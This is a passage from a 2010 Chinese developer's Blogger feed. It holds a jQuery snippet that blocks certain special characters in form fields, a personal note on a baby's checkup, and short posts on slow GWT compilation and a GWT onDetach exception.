style="color:rgb(0,0,0);"&gt;(){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;04 &lt;/span&gt; &amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;$j&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;input[type='text']&amp;quot;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;).&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;each&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;function&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;05 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;$j&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;).&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;keyup&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;function&lt;/span&gt;() &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;checkIllegalChar&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;$j&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;)); &lt;span style="color:rgb(0,0,0);"&gt;});&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;06 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;});&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;07 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;$j&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;textarea&amp;quot;&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;).&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;each&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;function&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;i&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;08 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;$j&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;).&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;keyup&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;function&lt;/span&gt;() &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;checkIllegalChar&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;$j&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;this&lt;/span&gt;)); &lt;span style="color:rgb(0,0,0);"&gt;});&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;09 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;});&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;10 &lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;});&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;11 &lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;12 &lt;/span&gt; &lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;13 &lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;14 &lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;function&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;checkIllegalChar&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;obj&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;15 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;value&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;obj&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;val&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;16 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;if&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;!&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;checkChar&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;value&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;)){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;17 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;obj&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;val&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;value&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;substring&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;value&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;length&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;-&lt;/span&gt;&lt;span style="color:rgb(0,0,255);"&gt;1&lt;/span&gt;));&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;18 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;obj&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;focus&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;19 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;20 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;21 &lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;22 &lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;23 &lt;/span&gt; &amp;#160; &lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;//检查输入中的非法字符&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;24 &lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;function&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;checkChar&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;InString&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;25 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;RefString&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;&amp;lt;&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;26 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;RefString2&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;%&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;27 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;RefString3&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;\&amp;quot;&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;28 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;RefString4&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;&amp;gt;&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;29 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;RefString5&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;~&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;30 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;RefString6&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;&amp;amp;&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;31 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;RefString7&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;?&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;32 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;RefString8&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;'&amp;quot;&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;33 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;for&lt;/span&gt; (&lt;span style="color:rgb(0,0,0);"&gt;Count&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;; &lt;span style="color:rgb(0,0,0);"&gt;Count&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;InString&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;length&lt;/span&gt;;  &lt;span style="color:rgb(0,0,0);"&gt;Count&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;++&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;34 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;InString&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;substring&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;Count&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;Count&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;1&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;35 &lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;if&lt;/span&gt;  ((&lt;span style="color:rgb(0,0,0);"&gt;RefString&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;indexOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) || (&lt;span style="color:rgb(0,0,0);"&gt;RefString2&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;indexOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) || (&lt;span style="color:rgb(0,0,0);"&gt;RefString3&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;indexOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) || (&lt;span style="color:rgb(0,0,0);"&gt;RefString4&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;indexOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) || (&lt;span style="color:rgb(0,0,0);"&gt;RefString5&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;indexOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) || (&lt;span style="color:rgb(0,0,0);"&gt;RefString6&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;indexOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) || (&lt;span style="color:rgb(0,0,0);"&gt;RefString7&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;indexOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) || (&lt;span style="color:rgb(0,0,0);"&gt;RefString8&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;indexOf&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;TempChar&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;0&lt;/span&gt;)) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;36 &lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;alert&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;&amp;quot;您的输入中含有非法字符\&amp;quot;&amp;lt;\&amp;quot;,\&amp;quot;\&amp;quot;\&amp;quot;,\&amp;quot;%\&amp;quot;,\&amp;quot;&amp;gt; \&amp;quot;,\&amp;quot;~\&amp;quot;,\&amp;quot;&amp;amp;\&amp;quot;,\&amp;quot;?\&amp;quot;,\&amp;quot;'\&amp;quot;,请重新输入!&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;37 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;return&lt;/span&gt; (&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;false&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;38 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;39 &lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;40 &lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;return&lt;/span&gt;  (&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;true&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;41 &lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4273696146514701599?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4273696146514701599/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/06/jquery-texttextare.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4273696146514701599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4273696146514701599'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/06/jquery-texttextare.html' title='jquery 验证所有text,textare非法字符'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-619643517136211282</id><published>2010-06-04T18:31:00.000+08:00</published><updated>2010-08-13T11:22:03.739+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Baby'/><title type='text'>闺女42天</title><content type='html'>昨儿去医院母婴复查，各项指标正常&lt;br/&gt;体重9斤3两，增了3斤3两&lt;br/&gt;身高55.5厘米，增了7.5厘米&lt;br/&gt;吃了2600克奶粉(还吃母乳)，略计640元&lt;br/&gt;&lt;br/&gt;早上看新闻说6月份洋奶粉又要涨价了&lt;img src="http://img.baidu.com/hi/jx2/j_0031.gif" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-619643517136211282?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/619643517136211282/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/06/42.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/619643517136211282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/619643517136211282'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/06/42.html' title='闺女42天'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-599954006353945384</id><published>2010-05-18T23:16:00.000+08:00</published><updated>2010-08-13T11:22:03.746+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>GWT编译巨慢</title><content type='html'>Compiling module com.capinfo.cdss.gwt.olap.Olap&lt;br/&gt;Compiling 12 permutations&lt;br/&gt;Compiling permutation 0...&lt;br/&gt;Compiling permutation 1...&lt;br/&gt;Compiling permutation 2...&lt;br/&gt;Compiling permutation 3...&lt;br/&gt;Compiling permutation 4...&lt;br/&gt;Compiling permutation 5...&lt;br/&gt;Compiling permutation 6...&lt;br/&gt;Compiling permutation 7...&lt;br/&gt;Compiling permutation 8...&lt;br/&gt;Compiling permutation 9...&lt;br/&gt;Compiling permutation 10...&lt;br/&gt;Compiling permutation 11...&lt;br/&gt;Compile of permutations succeeded&lt;br/&gt;Linking into D:\spring\workspace\fusionchart\war\olap.&lt;br/&gt;Link succeeded&lt;br/&gt;Compilation succeeded -- &lt;font color="#ff0000"&gt;291.925s&lt;/font&gt;&lt;br/&gt;&lt;br/&gt;在#.gwt.xml中添加支持Firefox&lt;br/&gt;&amp;lt;!-- User Agent --&amp;gt;&lt;br/&gt;&amp;lt;set-property name=&amp;quot;user.agent&amp;quot; value=&amp;quot;gecko1_8&amp;quot; /&amp;gt; &lt;br/&gt;编译的确变得很快，但IE中果真不好使&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-599954006353945384?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/599954006353945384/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/05/gwt.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/599954006353945384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/599954006353945384'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/05/gwt.html' title='GWT编译巨慢'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5198067171849575594</id><published>2010-05-18T22:33:00.000+08:00</published><updated>2010-08-13T11:22:03.755+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>Should only call onDetach when the widget is attached to the browser's
document</title><content type='html'>java.lang.IllegalStateException:Should only call onDetach when the widget is attached to the browser's document&lt;br/&gt;&lt;br/&gt;这个异常是在com.google.gwt.user.client.ui.Widget protected void onDetach() 方法抛出的&lt;br/&gt;当页面重新加载或离开页面时会执行这个方法&lt;br/&gt;如果系统没有正常初始化，会有这个异常&lt;br/&gt;郁闷的是No errors in Dev Mode but Compiled localy and deployed to tomcat in errors&lt;br/&gt;&lt;span&gt;&lt;img border="0" src="http://hiphotos.baidu.com/liuspring/pic/item/85745508affb3eae0b7b82ca.jpg" class="blogimg" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5198067171849575594?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5198067171849575594/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/05/should-only-call-ondetach-when-widget.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5198067171849575594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5198067171849575594'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/05/should-only-call-ondetach-when-widget.html' title='Should only call onDetach when the widget is attached to the browser&amp;#39;s&#xA;document'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4079443106194306057</id><published>2010-05-18T22:25:00.000+08:00</published><updated>2010-08-13T11:22:03.764+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title 